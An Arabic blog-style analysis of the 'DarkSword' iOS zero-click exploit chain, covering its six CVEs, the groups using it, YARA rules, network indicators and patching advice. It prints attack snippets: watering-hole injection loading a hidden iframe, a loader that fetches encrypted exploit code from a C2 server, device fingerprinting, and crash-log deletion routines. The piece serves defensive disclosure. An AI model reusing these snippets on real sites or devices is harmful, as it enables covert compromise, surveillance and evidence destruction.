شرح ثغرة DarkSword استغلال 6 ثغرات Zero-Day للسيطرة على iPhone بدون نقرة 2026
يعني تخيل معي... بتفتح صفحة ويب عادية على جهازك iPhone، ما بتضغط على إشي، ما بتحمل ملف، ما بتعمل أي تفاعل... وبثواني جهازك بالكامل صار تحت سيطرة الهاكر. رسائلك، صورك، موقعك، كلمات سرك، محافظ العملات الرقمية... كل إشي. هاد بالظبط اللي بتعمله DarkSword.
الثغرة اكتشفها فريق Google Threat Intelligence Group (GTIG) مع باحثين من Lookout و iVerify بتاريخ 18 مارس 2026. وبحسب التقارير، الاستغلال كان شغال بالخفية من نوفمبر 2025 — يعني 4 شهور كاملة قبل ما ينكشف! وبعدها بأسبوع تسرب الكود الكامل على GitHub وصار متاح لأي حدا يستخدمه.
والأرقام مرعبة: تقريباً 220 لـ 270 مليون iPhone حول العالم لسا معرضين للخطر لأنو أصحابهم ما حدثوا أجهزتهم. وبحسب الإحصائيات، 25% من مستخدمي iPhone لسا على iOS 18 أو أقدم.
اليوم رح أشرحلكم كل التفاصيل التقنية... كيف السلسلة بتشتغل مرحلة بمرحلة، شو الثغرات الست اللي بتستغلها، مين وراها، وكيف تحمي حالك. فخلينا ندخل...
شو هي DarkSword وليش كل العالم عم يحكي عنها؟
DarkSword مش ثغرة وحدة... هي سلسلة استغلال كاملة (Full Exploit Chain) مكتوبة بالكامل بـ JavaScript. يعني الهاكر ما بحتاج يرسلك ملف أو تطبيق — بس بيحتاج تفتح صفحة ويب مصابة بمتصفح Safari على iPhone غير محدث.
السلسلة بتستغل 6 ثغرات مختلفة بمكونات مختلفة من نظام iOS:
• CVE-2025-31277 — ثغرة Type Confusion بمحرك JavaScriptCore (JIT) — بتأثر على iOS 18.4
• CVE-2025-43529 — ثغرة Garbage Collection بـ DFG JIT — بتأثر على iOS 18.6 لـ 18.7
• CVE-2026-20700 — تخطي PAC (Pointer Authentication Codes) عبر dyld
• CVE-2025-14174 — ثغرة Out-of-Bounds Write بمكتبة ANGLE (WebGL) — CVSS 8.8
• CVE-2025-43510 — ثغرة Copy-on-Write بنواة XNU — CVSS 8.6
• CVE-2025-43520 — ثغرة Race Condition بنظام VFS بنواة XNU — CVSS 8.6
اللي بيميز DarkSword عن أي استغلال تاني هو إنها مكتوبة بالكامل بـ JavaScript. يعني ما بتحتاج تتخطى حمايات PPL (Page Protection Layer) أو SPTM (Secure Page Table Monitor) اللي Apple حاطتها بالنواة. الاستغلال بيشتغل بالكامل من داخل بيئة JavaScript المفسرة وبيوصل لصلاحيات kernel بدون ما يلمس هالحمايات مباشرة.
وبالمناسبة، اسم "DarkSword" جاي من toolmarks (علامات أدوات) اللي لقوها الباحثين بالكود المسرب. والكود منظم بشكل احترافي باستخدام Webpack مع بنية مكتبات واضحة — يعني واضح إنو فريق محترف شغل عليه مش شخص واحد.
التحليل التقني: المرحلة الأولى — تنفيذ كود عن بعد (RCE)
هسا خلينا ندخل بالتفاصيل التقنية العميقة... أول مرحلة بالسلسلة هي الحصول على Remote Code Execution داخل عملية Safari (WebContent process). وهون في ثغرتين مختلفتين حسب إصدار iOS:
CVE-2025-31277 — JavaScriptCore JIT Type Confusion (iOS 18.4)
هاي ثغرة بمحرك JavaScriptCore اللي بيشغل JavaScript بـ Safari. المشكلة بالتحديد بطبقة JIT (Just-In-Time) compilation. لما المحرك بيحاول يحسّن الكود، بيعمل افتراضات عن أنواع المتغيرات (types). الثغرة بتخلي المهاجم يخلط بين الأنواع (Type Confusion) وبيحصل على:
1. fakeobj primitive — بيقدر يخلق كائن وهمي بعنوان ذاكرة يتحكم فيه
2. addrof primitive — بيقدر يسرب عنوان أي كائن حقيقي بالذاكرة
ومن هالنقطتين بيبني arbitrary read/write — يعني بيقدر يقرأ ويكتب بأي مكان بالذاكرة.
CVE-2025-43529 — JavaScriptCore DFG Garbage Collection Bug (iOS 18.6-18.7)
هاي الثغرة التانية اللي بتستهدف إصدارات أحدث. المشكلة بطبقة DFG (Data Flow Graph) اللي هي مرحلة وسيطة بالـ JIT compilation. في خلل بآلية Garbage Collection (جمع القمامة) اللي بتحرر الذاكرة غير المستخدمة. المهاجم بيستغل توقيت الـ GC عشان يخلق حالة Use-After-Free — يعني بيستخدم ذاكرة بعد ما تحررت.
النتيجة نفسها: fakeobj + addrof = arbitrary read/write.
هسا شوف كيف الـ loader بيختار الثغرة المناسبة حسب إصدار iOS:
// RCE Loader - اختيار الاستغلال حسب إصدار iOS
let workerCode = "";
if(ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2')
workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`);
else
workerCode = getJS(`rce_worker_18.4.js?${Date.now()}`);
let workerBlob = new Blob([workerCode], {type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);
// يتم تشغيل الاستغلال داخل Web Worker منفصل
🔥 ملاحظة مهمة: مجموعة UNC6748 كان عندها خطأ برمجي بالـ loader — كانت تحمل استغلال 18.6 لكل الإصدارات! هاد بيدل إنو الكود تم مشاركته بين مجموعات مختلفة وكل وحدة حسنته بطريقتها.
المرحلة الثانية — تخطي PAC والهروب من Sandbox
بعد ما حصلنا على arbitrary read/write داخل عملية Safari، لسا ما بنقدر ننفذ كود أصلي (native code) لأنو Apple عندها حماية اسمها PAC (Pointer Authentication Codes). كل مؤشر (pointer) بالذاكرة عليه توقيع رقمي — لو غيرته بدون التوقيع الصحيح، البرنامج بيعمل crash.
CVE-2026-20700 — dyld PAC Bypass
هاي الثغرة بمكون dyld (Dynamic Linker) اللي مسؤول عن تحميل المكتبات بالذاكرة. المهاجم بيستغل خلل بآلية التحقق من PAC عشان يتخطى حمايات TPRO (Trusted Path Read-Only) و JIT Cage عبر التلاعب بحالة الـ thread (thread state manipulation).
يعني هسا صار عندنا: arbitrary read/write + تنفيذ كود أصلي داخل عملية Safari. بس لسا محبوسين داخل WebContent Sandbox — Apple بتحط كل tab بـ Safari داخل sandbox منفصل عشان حتى لو انخترق، ما يقدر يوصل لباقي النظام.
CVE-2025-14174 — ANGLE WebGL Out-of-Bounds Write
هون بييجي الإبداع... المهاجم بيستغل ثغرة بمكتبة ANGLE اللي بتتعامل مع WebGL (رسوميات 3D بالمتصفح). المكتبة ما بتتحقق بشكل صحيح من حدود الذاكرة لما بتعالج parameters معينة. هاد بيعطي المهاجم out-of-bounds write بعملية الـ GPU.
ليش عملية GPU مهمة؟ لأنها خارج sandbox الـ WebContent! يعني بمجرد ما نوصل لعملية GPU، هربنا من أول sandbox.
// المرحلة: WebContent Sandbox → GPU Process // الملف: sbox0_main_18.4.js / sbx0_main.js // الثغرة: ANGLE WebGL parameter validation failure // النتيجة: arbitrary code execution في GPU process // بعد الهروب من WebContent sandbox: // GPU process عنده صلاحيات أوسع للتواصل مع خدمات النظام
المرحلة الثالثة — من GPU Process لـ Kernel
هسا إحنا داخل عملية GPU... بس لسا ما عندنا صلاحيات kernel. لازم نطلع مستوى تاني.
CVE-2025-43510 — XNU Copy-on-Write Bug
هاي ثغرة بنواة XNU (نواة iOS/macOS) بآلية Copy-on-Write (CoW). الـ CoW هي تقنية لتوفير الذاكرة — لما عمليتين بتشاركوا نفس صفحة الذاكرة، النظام ما بينسخها إلا لما وحدة منهم تحاول تعدل عليها.
الخلل هو إنو في حالة معينة، المهاجم بيقدر يتلاعب بآلية CoW عشان يحصل على arbitrary memory read/write و arbitrary function call داخل خدمة mediaplaybackd.
وهون الإشي الذكي: بعد ما يسيطر على mediaplaybackd، المهاجم بيحمّل JavaScriptCore runtime جوا هالخدمة! يعني بيشغل المرحلة الجاية من الاستغلال كـ JavaScript داخل عملية ذات صلاحيات أعلى.
// المرحلة: GPU Process → mediaplaybackd // الملف: sbx1_main.js // الثغرة: XNU Copy-on-Write (CVE-2025-43510) // الخطوات: // 1. استغلال CoW bug للحصول على memory manipulation في mediaplaybackd // 2. تحميل JavaScriptCore runtime داخل mediaplaybackd // 3. تنفيذ المرحلة التالية (pe_main.js) بصلاحيات أعلى // mediaplaybackd عنده صلاحيات للتواصل مع kernel مباشرة
CVE-2025-43520 — XNU VFS Race Condition
المرحلة الأخيرة والأخطر. من داخل mediaplaybackd، المهاجم بيستغل Race Condition بنظام VFS (Virtual File System) بنواة XNU. الـ Race Condition بتصير لما عمليتين بتحاولوا يوصلوا لنفس المورد بنفس الوقت والنظام ما بيتعامل مع هالحالة بشكل صحيح.
النتيجة:
• Physical memory read/write — قراءة وكتابة بالذاكرة الفيزيائية مباشرة
• Virtual memory read/write — قراءة وكتابة بالذاكرة الافتراضية
• Arbitrary kernel code execution — تنفيذ أي كود بصلاحيات النواة
يعني هسا المهاجم عنده سيطرة كاملة على الجهاز. بيقدر يقرأ أي ملف، يعدل أي إعداد، يثبت أي برنامج، ويتجسس على أي تطبيق.
كيف الضحية بتنخترق؟
هسا فهمنا كيف الاستغلال بيشتغل تقنياً... بس كيف الضحية بتوصل للصفحة المصابة أصلاً؟ الجواب: Watering Hole Attack — يعني المهاجم بيخترق موقع شرعي وبيحقن كود خبيث فيه. لما الضحية تزور الموقع بشكل طبيعي، الاستغلال بيشتغل.
شوف كيف مجموعة UNC6353 كانت تحقن الكود بمواقع أوكرانية:
<!-- الكود المحقون بالموقع الشرعي -->
<script async src="https://static.cdncounter.net/widgets.js?uhfiu27fajf2948fjfefaa42"></script>
// محتوى widgets.js:
(function () {
const iframe = document.createElement("iframe");
iframe.src = "https://static.cdncounter.net/assets/index.html";
iframe.style.width = "1px";
iframe.style.height = "1px";
iframe.style.border = "0";
iframe.style.position = "absolute";
iframe.style.left = "-9999px";
iframe.style.opacity = "0.01";
iframe.setAttribute("sandbox", "allow-scripts allow-same-origin");
document.body.appendChild(iframe);
})();
شايف؟ الـ iframe حجمه 1x1 بكسل وشفافيته 0.01 — يعني الضحية مستحيل تشوفه. والكود بيحمل صفحة الاستغلال بالخلفية بدون ما المستخدم يحس بإشي.
وهاي صفحة الـ Landing اللي بتحمل الاستغلال:
<!-- index.html - صفحة التحميل -->
<script>
sessionStorage.setItem('uid', '1'); // منع إعادة الإصابة
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.width = '1px';
frame.style.opacity = '0.01';
frame.style.position = 'absolute';
frame.style.left = '-9999px';
frame.style.height = '1px';
frame.style.border = 'none';
document.body.appendChild(frame);
</script>
لاحظ استخدام sessionStorage.setItem('uid', '1') — هاد عشان ما يصيب نفس الضحية مرتين بنفس الجلسة. وكمان Math.random() بالـ URL عشان يتخطى الـ cache.
تقنيات التخفي والتشفير اللي استخدمتها المجموعات
كل مجموعة من المجموعات الثلاثة استخدمت تقنيات مختلفة للتخفي. خليني أحكيلك عن أذكاها — شركة PARS Defense التركية:
أول إشي، كانوا يعملوا Device Fingerprinting متقدم قبل ما يرسلوا الاستغلال — يعني بيتأكدوا إنو الجهاز فعلاً iPhone وفعلاً شغال Safari:
// PARS Defense - فحص الجهاز قبل إرسال الاستغلال
if (!sessionStorage.getItem('uid') &&
canUseApplePay() && // فحص Apple Pay
"standalone" in navigator && // فحص iOS
(CSS.supports("backdrop-filter: blur(10px)") ||
CSS.supports("-webkit-backdrop-filter: blur(10px)")) && // فحص WebKit
document.pictureInPictureEnabled && // فحص PiP
!(typeof window.chrome === "object" && window.chrome !== null) && // مش Chrome
!('InstallTrigger' in window) && // مش Firefox
supportsWebGL2() && // فحص WebGL2
getDeviceInputInfo() && // فحص Touch
!("vibrate" in navigator) && // iPhone ما عنده vibrate API
debuggerCheck()) // فحص anti-debugging
{
// الجهاز iPhone حقيقي - أرسل الاستغلال
}
وبعدين كانوا يستخدموا تشفير ECDH + AES لتوصيل الاستغلال — يعني حتى لو حدا اعترض الاتصال، ما بيقدر يشوف الكود:
// نظام تشفير توصيل الاستغلال
function getJS(path) {
const keyPair = generateKeyPair(); // توليد مفتاح ECDH
const pubKey = exportPublicKeyAsPem(keyPair.publicKey);
const encoded = self.btoa(pubKey);
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://[C2-SERVER]' + path, false);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ 'a': encoded })); // إرسال المفتاح العام
if (xhr.status === 200) {
const response = JSON.parse(xhr.responseText);
const encData = b64toUint8Array(response.a); // البيانات المشفرة
const serverPub = b64toUint8Array(response.b); // مفتاح السيرفر العام
const aesKey = deriveAesKey(keyPair.privateKey, serverPub); // اشتقاق مفتاح AES
const decrypted = decryptData(encData, aesKey); // فك التشفير
return new TextDecoder().decode(decrypted);
}
return null;
}
يعني كل مرة الاستغلال بينحمل، بيتم تبادل مفاتيح جديدة. حتى لو سجلت كل الترافيك، ما بتقدر تفك التشفير بدون المفتاح الخاص اللي بيتولد مرة وحدة ويُحذف.
GHOSTKNIFE و GHOSTSABER و GHOSTBLADE
بعد ما الاستغلال بينجح ويحصل على صلاحيات kernel، بيتم تثبيت واحد من 3 أنواع مالوير حسب المجموعة اللي وراء الهجوم. كلهم مكتوبين بـ JavaScript وبيشتغلوا من داخل عمليات النظام:
GHOSTKNIFE — الأخطر (مجموعة UNC6748)
هاد أقوى مالوير بالمجموعة. عنده قدرات كاملة:
• سرقة كل الحسابات المسجل دخولها على الجهاز
• قراءة كل الرسائل (iMessage, WhatsApp, Telegram)
• تحميل ملفات من سيرفر التحكم (C2)
• أخذ Screenshots
• تسجيل صوت من المايكروفون
• سرقة بيانات المتصفح وسجل المواقع
• سرقة بيانات الموقع الجغرافي
والأخطر — عنده نظام تشفير خاص للتواصل مع سيرفر التحكم باستخدام ECDH + AES عبر بروتوكول HTTP مخصص.
وشوف كيف بيمسح آثاره:
// GHOSTKNIFE - مسح آثار الاستغلال
cleanLogs() {
let files = MyHelper.getContentsOfDir(
"/var/mobile/Library/Logs/CrashReporter/"
);
for (let file of files) {
if (file.includes("mediaplaybackd") ||
file.includes("SpringBoard") ||
file.includes("com.apple.WebKit.") ||
file.includes("panic-full-")) {
MyHelper.deleteFileAtPath(file); // حذف crash logs
}
}
}
شايف؟ بيحذف كل crash logs اللي ممكن تدل على الاستغلال — ملفات mediaplaybackd (اللي استخدمها للـ privilege escalation)، SpringBoard، WebKit، وحتى kernel panics.
GHOSTSABER — المالوير التجاري (شركة PARS Defense)
هاد مالوير تجاري مصمم للمراقبة. عنده نظام أوامر كامل من سيرفر التحكم:
// أوامر GHOSTSABER من سيرفر التحكم (C2) Commands: ├── ChangeStatusCheckSleepInterval → تغيير فترة الاتصال بالسيرفر ├── SendDeviceInfo → إرسال معلومات الجهاز ├── SendUserAccountsList → سرقة قائمة الحسابات ├── SendAppList → قائمة التطبيقات المثبتة ├── ExecuteSqliteQuery → تنفيذ استعلام على أي قاعدة بيانات! ├── SendThumbnails → سرقة صور مصغرة ├── SendApp → رفع ملفات تطبيق كامل ├── SendFiles → رفع أي ملف من الجهاز ├── SendRegEx → رفع ملفات حسب نمط regex ├── SendFileList → قائمة ملفات مجلد كامل └── EvalJs → تنفيذ أي كود JavaScript!
أخطر أمر هو ExecuteSqliteQuery — بيقدر ينفذ أي استعلام SQL على أي قاعدة بيانات على الجهاز. يعني بيقدر يقرأ رسائل iMessage مباشرة من قاعدة البيانات، أو يسرق كلمات السر من Keychain.
وكمان EvalJs — بيقدر سيرفر التحكم يرسل أي كود JavaScript وينفذه على الجهاز. يعني حتى لو ما كان في أمر جاهز لإشي معين، بيقدروا يكتبوا كود جديد ويرسلوه.
GHOSTBLADE — جامع البيانات (مجموعة UNC6353)
هاد أبسط من التانيين بس لسا خطير. متخصص بجمع أكبر كمية بيانات ممكنة:
// GHOSTBLADE - البيانات المسروقة Data Categories: ├── Communication: iMessage, Telegram, WhatsApp, Mail, Call Logs, Contacts ├── Identity: Device IDs, Keychains, SIM Info, Profiles ├── Location: Location History, WiFi Networks/Passwords, Find My ├── Media: Photos, Hidden Photos, Screenshots, iCloud Drive, Notes ├── Financials: Cryptocurrency Wallets (Coinbase, Binance, MetaMask, Ledger...) ├── Usage: Safari History/Bookmarks/Cookies, Health Data └── System: Installed Apps, Backup Settings, Cellular Info
وشوف كيف بيمسح آثاره:
// GHOSTBLADE - حذف تقارير الأعطال
static deleteCrashReports() {
this.getTokenForPath(
"/private/var/containers/Shared/SystemGroup/" +
"systemgroup.com.apple.osanalytics/DiagnosticReports/",
true
);
FileUtils.deleteDir(
"/private/var/containers/Shared/SystemGroup/" +
"systemgroup.com.apple.osanalytics/DiagnosticReports/",
true
);
}
وفي إشي مثير بالكود — في دالة اسمها startSandworm() غير مطبقة. "Sandworm" هو اسم مجموعة هاكرز روسية مشهورة... ممكن يكون codename لاستغلال تاني أو مجرد placeholder.
البنية الداخلية لـ DarkSword — كود احترافي بمعنى الكلمة
من أكتر الأشياء اللي لفتت انتباهي بهالاستغلال هي البنية البرمجية. الكود منظم باستخدام Webpack مع بنية مكتبات واضحة. شوف هالشجرة:
// بنية مكتبات DarkSword الداخلية
src/
├── InjectJS.js // حقن JavaScript بالعمليات
├── MigFilterBypassThread.js // تخطي Mach IPC filter
└── libs/
├── Chain/
│ ├── Chain.js // سلسلة الاستغلال الرئيسية
│ ├── Native.js // تنفيذ دوال أصلية
│ └── OffsetsStruct.js // عناوين الذاكرة
├── Driver/
│ ├── Driver.js // التحكم بالأجهزة
│ ├── DriverNewThread.js // إنشاء threads
│ ├── Offsets.js // جدول العناوين
│ └── OffsetsTable.js // عناوين حسب الإصدار
├── JSUtils/
│ ├── FileUtils.js // عمليات الملفات (POSIX-like)
│ ├── Logger.js // تسجيل العمليات
│ └── Utils.js // أدوات مساعدة
└── TaskRop/
├── Exception.js // معالجة الاستثناءات
├── MachMsgHeaderStruct.js // هيكل رسائل Mach
├── PAC.js // التعامل مع PAC
├── PortRightInserter.js // إدارة Mach ports
├── RemoteCall.js // استدعاء دوال عن بعد
├── Sandbox.js // التعامل مع Sandbox
├── Task.js // إدارة المهام
├── TaskRop.js // ROP gadgets
├── Thread.js // إدارة الـ threads
├── VM.js // إدارة الذاكرة الافتراضية
├── VMObject.js // كائنات VM
└── VMShmem.js // ذاكرة مشتركة
هاد مش كود هاوي... هاد مشروع برمجي كامل بمعايير صناعية. في فصل واضح بين المكونات (separation of concerns)، في abstraction layers، وفي دعم لإصدارات متعددة من iOS عبر جداول عناوين (offset tables).
والـ MigFilterBypass مثير — هاد بيتخطى فلتر Mach IPC اللي Apple أضافته بـ iOS 18.4 عشان يمنع العمليات من التواصل مع خدمات kernel معينة:
// فحص إصدار iOS وتفعيل MIG Filter Bypass
if (ver.major == 24 && ver.minor >= 4) {
// iOS 18.4+ عنده قيود autobox جديدة
mutexPtr = BigInt(Native.callSymbol("malloc", 0x100));
Native.callSymbol("pthread_mutex_init", mutexPtr, null);
migFilterBypass = new MigFilterBypass(mutexPtr);
}
مين وراء DarkSword؟ ثلاث مجموعات هاكرز
حسب تقرير Google Threat Intelligence Group، في 3 مجموعات مختلفة استخدمت DarkSword قبل ما يتسرب الكود:
1. UNC6748 — السعودية (نوفمبر 2025)
أول مجموعة استخدمت DarkSword. كانوا يشغلوا موقع snapshare[.]chat (موقع وهمي يشبه Snapchat) كـ watering hole. الضحايا اللي بيزوروا الموقع من iPhone بيتم اختراقهم تلقائياً.
المجموعة تطورت مع الوقت:
• البداية: استغلال واحد بس (CVE-2025-31277 + CVE-2026-20700)
• تحديث 1: إضافة دعم iOS 18.6 (CVE-2025-43529)
• تحديث 2: إضافة دعم iOS 18.7 (بس كان فيه أخطاء برمجية)
• إضافة anti-debugging و obfuscation مع الوقت
سيرفرات التحكم: 62.72.21[.]10 و 72.60.98[.]48
2. PARS Defense — تركيا وماليزيا (نوفمبر 2025 - يناير 2026)
هاي شركة مراقبة تجارية تركية. كانوا يبيعوا خدمات التجسس لحكومات. استخدموا DarkSword بحملتين:
• تركيا: عبر موقع sahibndn[.]io
• ماليزيا: عبر موقع e5.malaymoil[.]com
هالمجموعة كانت الأكثر احترافية — استخدمت تشفير ECDH للتوصيل، device fingerprinting متقدم، و obfuscation قوي.
3. UNC6353 — أوكرانيا (ديسمبر 2025 - مارس 2026)
هالمجموعة استهدفت مواقع أوكرانية (أخبار وحكومة) بهجمات watering hole. كانوا يحقنوا كود بالمواقع الشرعية عشان يصيبوا زوارها. سيرفر التوصيل: static.cdncounter[.]net وسيرفر سرقة البيانات: sqwas.shapelie[.]com.
الملفت إنو هالمجموعة كانت تستخدم قبل هيك استغلال تاني اسمه Coruna، وبعدين انتقلت لـ DarkSword. هاد بيدل إنو في سوق سوداء لتبادل الاستغلالات بين المجموعات.
🔥 بتاريخ 23 مارس 2026، الكود الكامل لـ DarkSword تسرب على GitHub. بعدها مجموعات إضافية زي TA446 بدأت تستخدمه بحملات spear-phishing. يعني هسا أي حدا عنده خبرة تقنية بيقدر يستخدمه.
مؤشرات الاختراق (IoC) وقواعد YARA للكشف
هسا الجزء العملي — كيف تكشف إذا في حدا استخدم DarkSword ضدك أو ضد مؤسستك. فريق Google نشر قواعد YARA للكشف عن المالوير:
// قاعدة YARA للكشف عن GHOSTKNIFE
rule G_Backdoor_GHOSTKNIFE_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$ = "server_pub_ex"
$ = "client_pri_ds"
$ = "getfilebyExtention"
$ = "getContOfFilesForModule"
$ = "carPlayConnectionState"
$ = "saveRecordingApp"
$ = "getLastItemBack"
$ = "the inherted class"
$ = "passExtetion"
condition:
filesize < 10MB and 4 of them
}
// قاعدة YARA للكشف عن GHOSTBLADE
rule G_Datamine_GHOSTBLADE_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$ = "/private/var/tmp/wifi_passwords.txt"
$ = "/private/var/tmp/wifi_passwords_securityd.txt"
$ = "/.com.apple.mobile_container_manager.metadata.plist"
$ = "X-Device-UUID: ${"
$ = "/installed_apps.txt"
$ = "icloud_dump_"
condition:
filesize < 10MB and 3 of them
}
// قاعدة YARA للكشف عن مكتبات DarkSword
rule G_Hunting_DarkSwordExploitChain_ImplantLib_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$ = "src/InjectJS.js"
$ = "src/libs/Chain/Native.js"
$ = "src/libs/TaskRop/TaskRop.js"
$ = "src/libs/TaskRop/PAC.js"
$ = "src/libs/Driver/DriverNewThread.js"
$ = "src/MigFilterBypassThread.js"
condition:
any of them
}
ومؤشرات الشبكة (Network IoCs) اللي لازم تحطها بالـ firewall وأنظمة المراقبة:
# مؤشرات الاختراق - DarkSword Network IoCs # ═══════════════════════════════════════════ # UNC6748 (السعودية) snapshare[.]chat # موقع التوصيل 62.72.21[.]10 # سيرفر C2 - GHOSTKNIFE 72.60.98[.]48 # سيرفر C2 - GHOSTKNIFE # PARS Defense (تركيا/ماليزيا) sahibndn[.]io # موقع التوصيل - تركيا e5.malaymoil[.]com # موقع التوصيل - ماليزيا # UNC6353 (أوكرانيا) static.cdncounter[.]net # موقع التوصيل - watering holes sqwas.shapelie[.]com # سيرفر سرقة البيانات - GHOSTBLADE # File Hash (SHA256) 2e5a56beb63f21d9347310412ae6efb29fd3db2d3a3fc0798865a29a3c578d35 # GHOSTBLADE
كيف تحمي حالك من DarkSword — خطوات عملية
هسا أهم جزء بالمقال — شو لازم تعمل عشان تحمي حالك وأجهزتك:
1. حدث جهازك فوراً:
• إذا جهازك بيدعم iOS 26: حدث لـ iOS 26.3.1 أو أحدث
• إذا جهازك على iOS 18: حدث لـ iOS 18.7.6 أو أحدث
• روح على Settings → General → Software Update
2. فعّل Lockdown Mode:
هاد أهم إشي لو ما بتقدر تحدث. Lockdown Mode بيعطل:
• JIT compilation بـ JavaScript (اللي الثغرة بتستغله)
• WebGL (اللي بيُستخدم للـ sandbox escape)
• كتير من ميزات Safari اللي بتزيد سطح الهجوم
• روح على Settings → Privacy & Security → Lockdown Mode
3. أعد تشغيل جهازك بشكل دوري:
DarkSword بتشتغل بالذاكرة (in-memory). إعادة التشغيل بتمسح المالوير من الذاكرة. مش حل دائم بس بيوقف التجسس مؤقتاً لحد ما تحدث.
4. غيّر كل كلمات السر:
إذا كنت على إصدار مصاب وما كنت محدث، غيّر كلمات سر كل حساباتك — خصوصاً البنك، الإيميل، ومحافظ العملات الرقمية.
5. فعّل المصادقة الثنائية (2FA):
حتى لو سرقوا كلمة سرك، 2FA بيمنعهم من الدخول لحساباتك (إلا إذا سرقوا رموز 2FA من الجهاز نفسه — لهيك التحديث أولوية).
6. استخدم أداة iVerify:
أداة iVerify بتفحص جهازك وبتكشف مؤشرات الاختراق. مش مضمونة 100% لأنو DarkSword بتمسح آثارها، بس أفضل من لا شي.
جدول الإصدارات المصابة والمرقعة
هاد جدول كامل بكل الثغرات ومتى ترقعت:
┌─────────────────┬──────────────────────────────────┬─────────────────────┐ │ CVE │ الثغرة │ الإصدار المرقع │ ├─────────────────┼──────────────────────────────────┼─────────────────────┤ │ CVE-2025-31277 │ JavaScriptCore JIT Confusion │ iOS 18.6 │ │ CVE-2025-43529 │ JavaScriptCore DFG GC Bug │ iOS 18.7.3 / 26.2 │ │ CVE-2026-20700 │ dyld PAC Bypass │ iOS 26.3 │ │ CVE-2025-14174 │ ANGLE WebGL OOB Write │ iOS 18.7.3 / 26.2 │ │ CVE-2025-43510 │ XNU Copy-on-Write Bug │ iOS 18.7.2 / 26.1 │ │ CVE-2025-43520 │ XNU VFS Race Condition │ iOS 18.7.2 / 26.1 │ └─────────────────┴──────────────────────────────────┴─────────────────────┘ الخلاصة: لازم تكون على iOS 26.3+ أو iOS 18.7.6+ عشان تكون محمي من كل الثغرات الست.[IMAGE_PLACEHOLDER_3]
ليش DarkSword مختلفة عن أي استغلال تاني؟
بصراحة، من تجربتي بمتابعة ثغرات iOS من سنين، DarkSword مختلفة لعدة أسباب:
أولاً — JavaScript-Only: كل الاستغلالات السابقة كانت تحتاج مرحلة binary exploitation عشان تتخطى PPL و SPTM. DarkSword أثبتت إنو ممكن توصل لـ kernel بدون ما تلمس هالحمايات — وهاد بيغير قواعد اللعبة.
ثانياً — الانتشار: عادةً استغلالات iOS بتبقى سرية عند مجموعة وحدة. DarkSword انتشرت بين 3 مجموعات على الأقل قبل ما تتسرب — وبعد التسريب صارت متاحة للجميع. هاد نموذج جديد بعالم الاستغلالات.
ثالثاً — الاحترافية: البنية البرمجية (Webpack, modular design, offset tables) بتدل على فريق تطوير محترف — مش باحث أمني واحد. في ناس بتقول إنو ممكن يكون من شركة مراقبة (surveillance vendor) تسرب منها الكود.
رابعاً — Zero-Click: ما بتحتاج أي تفاعل من الضحية. بس يفتح صفحة ويب — وهاد أخطر أنواع الاستغلالات لأنو ما في طريقة للمستخدم يحمي حاله غير التحديث.
أسئلة شائعة
سؤال: هل جهازي iPhone مصاب بثغرة DarkSword؟
إذا جهازك شغال على iOS 18.4 لحد 18.7 وما حدثته لـ iOS 18.7.6 أو iOS 26.3 أو أحدث، فأيوا جهازك معرض للخطر. روح على Settings > General > About وشوف رقم الإصدار. إذا كان أقل من 18.7.6 أو أقل من 26.3، حدث فوراً.
سؤال: هل DarkSword بتحتاج أضغط على رابط عشان تشتغل؟
لا، وهاي أخطر نقطة. بمجرد ما تفتح صفحة ويب مصابة بمتصفح Safari على iPhone غير محدث، الثغرة بتشتغل تلقائياً بدون أي تفاعل منك. ما بتحتاج تضغط على إشي أو تحمل ملف. حتى لو الموقع شرعي بس محقون فيه كود خبيث.
سؤال: شو البيانات اللي بتنسرق لو جهازي انخترق؟
كل إشي حرفياً: رسائل iMessage وWhatsApp وTelegram، سجل المكالمات، جهات الاتصال، الصور (حتى المخفية)، الموقع الجغرافي وسجل التنقل، كلمات السر المحفوظة بـ Keychain، محافظ العملات الرقمية (Coinbase, Binance, MetaMask, Ledger)، بيانات المتصفح، وحتى تسجيل صوت من المايكروفون.
سؤال: كيف أعرف إذا جهازي انخترق بـ DarkSword؟
صعب تعرف لأنو المالوير بيمسح آثاره (crash logs و diagnostic reports). بس بتقدر تستخدم أداة iVerify أو تفحص إذا في ملفات مريبة بـ /tmp/. أفضل حل هو التحديث فوراً، إعادة تشغيل الجهاز، وتغيير كل كلمات السر.
سؤال: هل Lockdown Mode بيحمي من DarkSword؟
أيوا بشكل كبير. Lockdown Mode بيعطل JIT compilation بـ JavaScript (اللي المرحلة الأولى بتعتمد عليه) وبيعطل WebGL (اللي المرحلة الثانية بتستخدمه). هاد بيصعّب الاستغلال بشكل كبير حتى لو جهازك مش محدث. فعّله من Settings → Privacy & Security → Lockdown Mode.
سؤال: مين وراء ثغرة DarkSword؟
حسب Google Threat Intelligence، في 3 مجموعات استخدمتها: UNC6748 (عمليات بالسعودية)، شركة PARS Defense التركية للمراقبة التجارية (تركيا وماليزيا)، و UNC6353 اللي استهدفت مواقع أوكرانية بهجمات watering hole. الكود تسرب على GitHub بـ 23 مارس 2026 وصار متاح لأي حدا.
سؤال: هل أجهزة Android متأثرة بـ DarkSword؟
لا، DarkSword مصممة حصرياً لاستهداف أجهزة iPhone عبر متصفح Safari. بتستغل ثغرات بـ JavaScriptCore و XNU kernel اللي خاصين بـ Apple. أجهزة Android ما بتتأثر بهالثغرة تحديداً، بس عندها ثغرات تانية خاصة فيها.
الخاتمة — رأيي الشخصي
بصراحة، DarkSword غيرت نظرتي لأمن iOS. كنا نحكي دايماً "iPhone أأمن من Android" — وهاد صحيح بشكل عام. بس لما تشوف استغلال بهالمستوى، بتفهم إنو ما في نظام آمن 100%.
اللي بيخوف أكتر هو إنو الكود تسرب وصار متاح للجميع. يعني مش بس حكومات ومجموعات متقدمة — أي حدا عنده خبرة تقنية كافية بيقدر يستخدمه ضد أي iPhone غير محدث. و 25% من مستخدمي iPhone (يعني مئات الملايين) لسا على إصدارات مصابة.
